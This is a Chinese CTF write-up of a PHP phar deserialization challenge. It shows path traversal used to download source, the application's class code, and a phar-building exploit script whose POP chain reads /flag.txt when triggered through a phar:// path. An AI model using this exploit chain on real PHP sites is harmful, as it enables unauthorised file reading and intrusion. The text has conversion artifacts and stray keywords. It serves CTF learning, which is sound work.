首先得反省一下,我居然將近三天沒作web題目了,這這這仍是一個web狗應該作的嗎?反思一下嗚嗚嗚。。。php
什麼是phar反序列化呢?html
下面的文章可能會有點幫助來自jianshumysql
按照個人理解來講呢,就是把危險的文件上傳到服務器?而後藉助某些功能與危險函數實現危險的操做,太籠統了。具體來講呢就是php文件系統中很大一部分的函數
在經過phar://
解析時,存在着對meta-data
(在這裏<meta-data>區域
面搞反序列化的pop鏈)反序列化的操做。web
<?php /**上面的這裏寫pop鏈*/ /**下面的東西通常是不變的*/ $phar = new Phar("7.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); //set-metadata參數會變 $phar->stopBuffering(); ?>
下午好,web狗。
終於清理掉這個老頑固了。sql
先分析源代碼找出pop鏈,代碼怎麼找?服務器
註冊登陸後,有個上傳文件的地方,上傳過圖片後能夠刪除或者下載,而後就想着多是文件上傳漏洞,開始我還覺得要上傳圖片馬。。函數
這裏的這個任意文件下載->先用burp抓包,修改其中的filename字段就能夠了,改成../../index.php下載主頁代碼。其餘代碼相似也能下載,這信息收集真的難頂,收集能收集10分鐘,我丟。fetch
利用的類都在class.php文件裏面,下面是class文件的內容this
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
其中利用的重中之重是下面的部分代碼code
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function __destruct() { $this->db->close(); //2 } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function close() { return file_get_contents($this->filename); //1 } } ?>
用下面的腳本生成一個phar的文件,菜狗痛枯。賊雞兒麻煩啊。
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("7.phar"); //後綴名必須爲phar $phar->startBuffering(); $phar->addFromString("exp.txt", "test"); //添加要壓縮的文件 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $phar->setMetadata($a); //將自定義的meta-data存入manifest //簽名自動計算 $phar->stopBuffering(); ?>
分析一下pop鏈
首先是建立一個user類的對象$a,而後將$a的db屬性實例化爲FileList對象。FileList裏的$file屬性實例化爲File對象,利用filename屬性讀取flag.txt文件,最後用$this->files = array($file);負責輸出flag。
她的各類方法的調用順序爲,首先$a的db屬性實例化爲FileList對象,這樣當$a對象被銷燬時就會觸發__call()函數
(由於db實例化爲對象了,而filelist類裏面沒有close()方法,故會觸發__call()方法)
。第二是爲使close方法裏面獲取的文件爲flag,就要讓$this->filename=flag文件
,就在filelist類裏面寫入了file屬性=file對象,而且該對象的filename屬性爲/flag.txt也就是咱們的文件。如今flag已經在file對象裏面了,而後咱們再借用一下filelist類的__call()方法,把flag.txt打入results裏面,最後經過析構函數將results打入result,而後入table,最後將table屬性echo出來,實現讀取文件。
想生成phar文件要先把只讀屬性給關掉,以下圖所示
,而後生成phar文件以後上傳(要先改後綴名爲png)。
上傳成功後打開bp,刪除文件時改包名爲phar://7.png
,成功獲取flag如圖
向本身不熟悉的方向發起挑戰,雖然開始會有些困難,可是堅持下去就能得到快樂,嘿嘿。
月上柳梢頭,人約黃昏後。